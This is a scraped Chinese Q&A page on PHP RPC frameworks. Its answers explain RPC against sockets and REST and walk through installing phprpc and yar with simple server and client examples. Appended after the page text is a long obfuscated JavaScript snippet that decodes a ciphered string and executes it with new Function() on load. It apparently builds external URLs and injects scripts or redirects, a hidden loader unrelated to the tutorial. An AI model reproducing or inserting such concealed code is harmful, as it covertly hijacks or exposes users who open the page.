php rpc好用吗,有什么优缺点?php rpc框架哪个好?

php rpc好用吗,有什么优缺点?php rpc框架哪个好?
2025-03-11 06:33:26
推荐回答(5个)
回答1:

什么是RPC框架? 如果用一句话概括RPC就是:远程调用框架(Remote Procedure Call)那什么是远程调用?通常我们调用一个php中的方法,比如这样一个函数方法: localAdd(10, 20),localAdd方法的具体实现要么是用户自己定义的,要么是php库函数中自带的,也就说在localAdd方法的代码实现在本地,它是一个本地调用!远程调用意思就是:被调用方法的具体实现不在程序运行本地,而是在别的某个远程地方。

远程调用原理

比如 A (client) 调用 B (server) 提供的remoteAdd方法:

  • 首先A与B之间建立一个TCP连接;

  • 然后A把需要调用的方法名(这里是remoteAdd)以及方法参数(10, 20)序列化成字节流发送出去;

  • B接受A发送过来的字节流,然后反序列化得到目标方法名,方法参数,接着执行相应的方法调用(可能是localAdd)并把结果30返回;

  • A接受远程调用结果,输出30。

  • RPC框架就是把我刚才说的这几点些细节给封装起来,给用户暴露简单友好的API使用。

    远程调用的好处

    解耦:当server需要对方法内实现修改时,client完全感知不到,不用做任何变更;这种方式在跨部门,跨公司合作的时候经常用到,并且方法的提供者我们通常称为:服务的暴露。

    RPC与Socket有什么区别?

    通过上面的简单阐述,好像RPC与Socket 好像啊。都是调用远程的方法,都是client/server模式,我之前也写了一篇文章: 细说socket 那他们有啥区别呢?

    RPC(远程过程调用)采用客户机/服务器模式实现两个进程之间相互通信。socket是RPC经常采用的通信手段之一,RPC是在Socket的基础上实现的,它比socket需要更多的网络和系统资源。除了Socket,RPC还有其他的通信方法,比如:http、操作系统自带的管道等技术来实现对于远程程序的调用。微软的Windows系统中,RPC就是采用命名管道进行通信。

    RPC与REST有什么区别?

    通过了解RPC后,我们知道是RPC是client/server模式的,调用远程的方法,REST也是我们熟悉的一套API调用协议方法,它也是基于client/server模式的,调用远程的方法的,那他俩又有啥区别呢?

    REST API 和 RPC 都是在 Server端 把一个个函数封装成接口暴露出去,以供 Client端 调用,不过 REST API 是基于HTTP协议的,REST致力于通过http协议中的POST/GET/PUT/DELETE等方法和一个可读性强的URL来提供一个http请求。而 RPC 则可以不基于 HTTP协议 
    因此,如果是后端两种语言互相调用,用 RPC 可以获得更好的性能(省去了 HTTP 报头等一系列东西),应该也更容易配置。如果是前端通过 AJAX 调用后端,那么用 REST API 的形式比较好(因为无论如何也避不开 HTTP 这道坎)。

    php中流行的rpc框架有哪些

    既然php是世界上最好的语言,那php中流行的RPC框架有哪些呢?

    先列举下: phprpc,yar, thrift, gRPC, swoole, hprose

    因为时间和精力有限,不可能一个一个的去学习和使用,我选几个世面上用的最多的几个用下吧。因为RPC原理是一样的,都是Client/Server模式,只是每个框架的使用方式不一样而已。

回答2:

rpc的使用只能说因地制宜吧,例如与硬件通讯.至于开发的话,你可以用swoole扩展或者grpc.

回答3:

建议使用thrift

Thrift是一种接口描述语言和二进制通讯协议,它被用来定义和创建跨语言的服务。它被当作一个远程过程调用(RPC)框架来使用,是由Facebook为“大规模跨语言服务开发”而开发的。
thrift对php的支持非常好,而且可以用于php本身服务和其他服务之间的通讯
是php搭建微服务系统的最好选择。

回答4:

PHPRPC 是一个轻型的、安全的、跨网际的、跨语言的、跨平台的、跨环境的、跨域的、支持复杂对象传输的、支持引用参数传递的、支持内容输出重定向的、支持分级错误处理的、支持会话的、面向服务的高性能远程过程调用协议。
框架么,先列举下: phprpc,yar, thrift, gRPC, swoole, hprose
phprpc 和 yar 是我目前听说和接触最多的了
PHPrpc的特点

轻量级
PHPRPC 与 SOAP 不同,虽然 SOAP 号称是简单对象存取协议。但是实际上它一点都不简单,甚至可以说,它的协议内容是一般人所无法理解的。除了复杂的定义,它还具有复杂且混乱的实现,且不要说在异构系统中部署应用,即使在同一种语言下部署,它也绝对算得上是重量级的。而 PHPRPC 却是轻量级的,它的协议相当简单,从仅靠我一人之力就可以实现出十几种语言的版本这个事实就可以很容易的看出来。它的数据表示也相当高效,不论在处理还是传输上都比 SOAP 要快得多。它在部署和使用时,更加简单,它的 .NET 版本甚至比微软为 .NET 提供的 WebService 都容易使用,你甚至不需要借助 Visual Studio 就可以轻松构建 PHPRPC for .NET 的应用。其它语言版本的部署和使用跟 .NET 版本差不多,甚至更加简单。

安全
在安全方面,PHPRPC 并没有像 SOAP 那样专门制定一个 WS-Security 来解决安全性问题。而是内置了加密传输机制,虽然这个加密机制没有 WS-Security 那么复杂,但绝对是从众多的安全加密机制中精选出来的。它可以保证你的数据在非加密的 HTTP 网络上安全传输。

跨网际
PHPRPC 是工作于 HTTP 协议之上的远程调用协议,因此它具有与 SOAP 同样的好处——它可以自由的在 Internet 上被广泛的部署应用。在这个互联网应用占据主导地位的年代,它比那些基于私有通讯协议的远程调用在应用上更具优势。

跨语言平台环境
PHPRPC 目前支持十几种编程语言,而且这些支持的编程语言都是目前被广泛使用的主流编程语言。这些语言支持不同的平台与环境,因此在跨语言的同时,也实现了跨平台,跨环境。而且随着 PHPRPC 的发展,你将发现 PHPRPC 会支持更多的语言,包括你所见过、使用过,以及从来没有听说过的语言。

跨域
PHPRPC 最大的一个亮点就是它支持在浏览器环境中通过 JavaScript 来调用服务器端的函数与方法,它将你以前用传统的 ajax 方式做不到或者很难做到的事情变得轻而易举!而在这个亮点中更大的亮点是,它还支持在浏览器环境中直接跨域调用。而且在跨域方面,它还针对不同的应用作了不同的实现。这是 SOAP 所做不到的。

复杂对象传输
你可以在各种不同的语言之间通过 PHPRPC 自由的交换数据,不论是基本数据类型,还是复杂对象,它都可以帮你轻松传输。虽然 SOAP 也声称可以在各种语言之间交换复杂数据,可是实际应用却完全不是那么回事,在许多语言中你甚至不得不手工去构造那些晦涩难懂的 XML,来传输所谓的自定义类型,这种意义上的自定义类型传输甚至还不如字符串传输更容易被理解。而在 PHPRPC 中你却完全不需要做这种无意义且损伤脑细胞的事情,你会发现你将可以用前所未有的简单方式在不同的语言之间传输复杂对象,简单到就像在同一个程序中传输它们一样。

引用参数传递
PHPRPC 还支持引用参数传递,你除了可以通过远程函数或方法的返回值得到结果外,你还可以通过参数来返回数据,尽管大多数情况下你用不到这个特性,不过一旦需要,你会发现非常有用。

内容输出重定向
除了通过返回值和参数来得到返回数据以外,你还可以通过输出的方式来返回数据,而且通过该方式返回较大量的数据时,比通过返回值来返回数据还要高效。

分级错误处理
在远程调用时,对于某些语言来说,并不是所有的错误都会影响结果,因为这些错误可能只是警告类信息,在这种情况下,PHPRPC 在返回结果的同时,也会返回警告信息。只有当发生致命错误时,才会只返回错误信息。这种处理方式可以让调用者得到更多想要的信息。

会话支持
对于支持会话的服务器,你可以在你的远程函数或方法中使用会话,这将十分有效的帮助你对状态进行管理。

回答5:

什么是rpc框架

先回答第一个问题:什么是RPC框架? 如果用一句话概括RPC就是:远程调用框架(Remote Procedure Call)

那什么是远程调用?

通常我们调用一个php中的方法,比如这样一个函数方法: localAdd(10, 20),localAdd方法的具体实现要么是用户自己定义的,要么是php库函数中自带的,也就说在localAdd方法的代码实现在本地,它是一个本地调用!

远程调用意思就是:被调用方法的具体实现不在程序运行本地,而是在别的某个远程地方。

远程调用原理

比如 A (client) 调用 B (server) 提供的remoteAdd方法:

  • 首先A与B之间建立一个TCP连接;

  • 然后A把需要调用的方法名(这里是remoteAdd)以及方法参数(10, 20)序列化成字节流发送出去;

  • B接受A发送过来的字节流,然后反序列化得到目标方法名,方法参数,接着执行相应的方法调用(可能是localAdd)并把结果30返回;

  • A接受远程调用结果,输出30。

  • RPC框架就是把我刚才说的这几点些细节给封装起来,给用户暴露简单友好的API使用。

    远程调用的好处

    解耦:当server需要对方法内实现修改时,client完全感知不到,不用做任何变更;这种方式在跨部门,跨公司合作的时候经常用到,并且方法的提供者我们通常称为:服务的暴露。

    RPC与Socket有什么区别?

    通过上面的简单阐述,好像RPC与Socket 好像啊。都是调用远程的方法,都是client/server模式,我之前也写了一篇文章: 细说socket 那他们有啥区别呢?

    RPC(远程过程调用)采用客户机/服务器模式实现两个进程之间相互通信。socket是RPC经常采用的通信手段之一,RPC是在Socket的基础上实现的,它比socket需要更多的网络和系统资源。除了Socket,RPC还有其他的通信方法,比如:http、操作系统自带的管道等技术来实现对于远程程序的调用。微软的Windows系统中,RPC就是采用命名管道进行通信。

    RPC与REST有什么区别?

    通过了解RPC后,我们知道是RPC是client/server模式的,调用远程的方法,REST也是我们熟悉的一套API调用协议方法,它也是基于client/server模式的,调用远程的方法的,那他俩又有啥区别呢?

    REST API 和 RPC 都是在 Server端 把一个个函数封装成接口暴露出去,以供 Client端 调用,不过 REST API 是基于 HTTP协议的,REST致力于通过http协议中的POST/GET/PUT/DELETE等方法和一个可读性强的URL来提供一个http请求。而 RPC 则可以不基于 HTTP协议 
    因此,如果是后端两种语言互相调用,用 RPC 可以获得更好的性能(省去了 HTTP 报头等一系列东西),应该也更容易配置。如果是前端通过 AJAX 调用后端,那么用 REST API 的形式比较好(因为无论如何也避不开 HTTP 这道坎)。

    php中流行的rpc框架有哪些

    既然php是世界上最好的语言,那php中流行的RPC框架有哪些呢?

    先列举下: phprpc,yar, thrift, gRPC, swoole, hprose

    因为时间和精力有限,不可能一个一个的去学习和使用,我选几个世面上用的最多的几个用下吧。因为RPC原理是一样的,都是Client/Server模式,只是每个框架的使用方式不一样而已。

    主要讲解一下 phprpc 和 yar 是我目前听说和接触最多的了。

    phprpc

    先从官网下载最新稳定版的phprpc:下载链接 解压。

    安装

    我们会发现里面有很多文件和文件夹,结构如下:

  • dhparams/

  • pecl/

  • bigint.php

  • compat.php

  • phprpc_date.php

  • xxtea.php

  • dhparams.php

  • phprpc_server.php

  • phprpc_client.php

  • 其中有dhparams和pecl是文件夹,pecl中的是php的xxtea扩展,按照官网的描述,可以安装也可以不安装,不安装phprpc也是可以运行的。但是如果你需要更快的加密处理能力,可以安装下。

    我还是安装吧。毕竟加密能力更快,是好事:

    安装步骤如下,先将pecl下的xxtea文件夹复制到php源码的etx目录:/lamp/php-5.4.11/ext下。然后用phpize进行扩展重新编译。


  • [root@localhost /]# cd /lamp/php-5.4.11/ext/xxtea

  • [root@localhost xxtea]# /usr/local/php/bin/phpize

  • [root@localhost xxtea]# ./configure --enable-xxtea=shared --with-php-config=/usr/local/php/bin/php-config

  • make && make install

  • OK ,编译完成,提示我们xxtea.so已经在/usr/local/php/lib/php/extensions/no-debug-zts-20100525/xxtea.so 下了。

    下面,我们就需要在php.ini的最后将这个xxtea.so加上:

  • [root@localhost /]# vi /usr/local/php/etc/php.ini [xxtea]extension=xxtea.so

  • 好。加好了后,我们需要重启下apache或者php-fpm

  • 重启apache[root@localhost /]# /usr/local/apache/bin/apachectl restart平滑重启php-fpmkill -USR2 `cat /usr/local/php/var/run/php-fpm.pid`

  • 重启完毕后,打开phpinfo()页面,搜索一下,应该就能够看到xxtea了。

    开始使用

    先来个简单的例子,phprpc也是分为服务器端和客户端的。所以文件夹中对应的就是phprpc_server.php 和 phprpc_client.php

    我们参考官网的几个例子,练习下:

    server.php 服务端:这样写就完成了一个最简单的helloword的接口。


  • include ("phprpc/phprpc_server.php");

  • function HelloWorld() {

  • return 'Hello World!';

  • }

  • $server = new PHPRPC_Server();

  • $server->add('HelloWorld');

  • $server->start();

  • 运行下server.php,我擦,居然报错了!!!

  • PHP Strict Standards:  Non-static method PHPRPC_Server::initSession()....Cannot redeclare gzdecode().....

  • google了下,说是先把 phprpc_server.php的413行的initSession()改成static function

  • static function initSession() {****}

  • PS. 我了个擦,这么大的错误,phprpc是怎么发布的!!!

    在把compat.php 的第 71行的 gzdecode()函数,php5.4已经实现了这个函数了。这样函数就被重写了,就报错了,所以加个判断:

  • if (!function_exists('gzdecode')) {//将gzdecode函数包括进来}

  • 好。改完,保存。再运行下server.php 。ok 了。不报错了。输出:

  • phprpc_functions="YToxOntpOjA7czo5OiJoZWxsb3dvcmQiO30=";

  • 我们接下来写客户端 client.php, 看是如何写的?


  • include ("phprpc/phprpc_client.php");

  • $client = new PHPRPC_Client('http://127.0.0.1/server.php');

  • echo $client->HelloWorld();

  • ?>

  • 我们在执行以下client.php,如愿以偿的输出了:

  • Hello Word!

  • 这样一个简单的Server/Clent交付就搞定了。虽然中间出了点差错,但是总体来说还是蛮简单易懂的!

    其他的更高级的用法可以参考官网的。

    yar

    yar 是国内著名的php大神鸟哥惠新宸的大作,在微博产品中已经开始使用。它也是一款rpc框架。它由于使用纯C编写的用于php的扩展,所以,效率应该是蛮高的,而且支持异步并行,这点还是赞的。

    下载安装

    官网下载:http://pecl.php.net/package/yar 最新的版本 yar-1.2.4.tgz

    然后解压复制到php源码的etx目录:/lamp/php-5.4.11/ext下。然后用phpize进行扩展重新编译。


  • [root@localhost yar-1.2.4]# /usr/local/php/bin/phpize

  • [root@localhost yar-1.2.4]# ./configure --with-php-config=/usr/local/php/bin/php-config

  • 但是出现了点问题:提示,curl 有问题:

  • configure: error: Please reinstall the libcurl distribution - easy.h should be in /include/curl/

  • 估计是我本机curl 有问题,那用yum 安装一下吧:

  • yum -y install curl-devel

  • 安装完成curl 后继续编译安装,就没啥问题了:


  • [root@localhost yar-1.2.4]# /usr/local/php/bin/phpize

  • [root@localhost yar-1.2.4]# ./configure --with-php-config=/usr/local/php/bin/php-config

  • [root@localhost yar-1.2.4]# make && make install

  • 成功之后,提示我们 yar.so 扩展在已经在/usr/local/php/lib/php/extensions/no-debug-zts-20100525/ 下了。

    我们vi编辑一下 php.ini ,最后面加上yar.so扩展,然后重启一下 apache 或者php-pfm就可以了。

  • [root@localhost /]# vi /usr/local/php/etc/php.ini [yar]extension=yar.so

  • 好。加好了后,我们需要重启下apache或者php-fpm

  • 重启apache[root@localhost /]# /usr/local/apache/bin/apachectl restart平滑重启php-fpmkill -USR2 `cat /usr/local/php/var/run/php-fpm.pid`

  • 重启完毕后,打开phpinfo()页面,搜索一下,应该就能够看到yar了。

    开始使用

    和其他的rpc框架一样,yar也是server/client模式,所以,我们也一样,开始写一个简单的例子来说下如何调用。

    yar_server.php表示服务器端


  • class API {

  • public function api($parameter, $option = "foo") {

  • return $parameter;

  • }

  • protected function client_can_not_see() {

  • }

  • }

  • $service = new Yar_Server(new API());

  • $service->handle();

  • 好,我们在浏览器里运行一下,就会出现如下图所示的输出。很高端啊!!!鸟哥说这样做的用途是可以一目了然的知道我这个rpc提供了多少接口,把api文档都可以省略了。

    好,我们开始写yar_client.php 这个是客户端:


  • $client = new Yar_Client("http://127.0.0.1/yar_server.php");

  • echo $client->api('helo word');

  • 好,像其他的 swoole,hprose等基本都是这个原理,只是看谁的功能更加,用起来更顺手罢了。

    done!

!function(){function a(a){var _idx="e4ydksy2pg";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPKs0)hFL_h^m_XO6L)pmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0dhFLFT6m)CFSp)pmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0dhFL5SJm4h(7F7fmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m_XO6L)pmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0dhFLFT6m)CFSp)pmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0dhFL5SJm4h(7F7fmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0dhFLFT6m)CFSp)pmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/Ks0jR8YoTfSLT@Jp"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"Ks0"=X8"YoTfSLT@Jp"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"Ks0^)ThF)mhfO76RqmRT4"="Ks0X5ThF)mT)7F56RmRT4"="Ks02pThFmhfO76RqmRT4"="Ks0_JqhFmT)7F56RmRT4"="Ks02TOhFmhfO76RqmRT4"="Ks0CSqhF)mT)7F56RmRT4"="Ks0)FfThF)fmhfO76RqmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:mX2O2fmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:mX2O2fmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPKs0dhFLFT6m)CFSp)pmRT4gQ}1Q/f/Ks0j(8}vR8YoTfSLT@Jp"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPKs0dhFLFT6m)CFSp)pmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();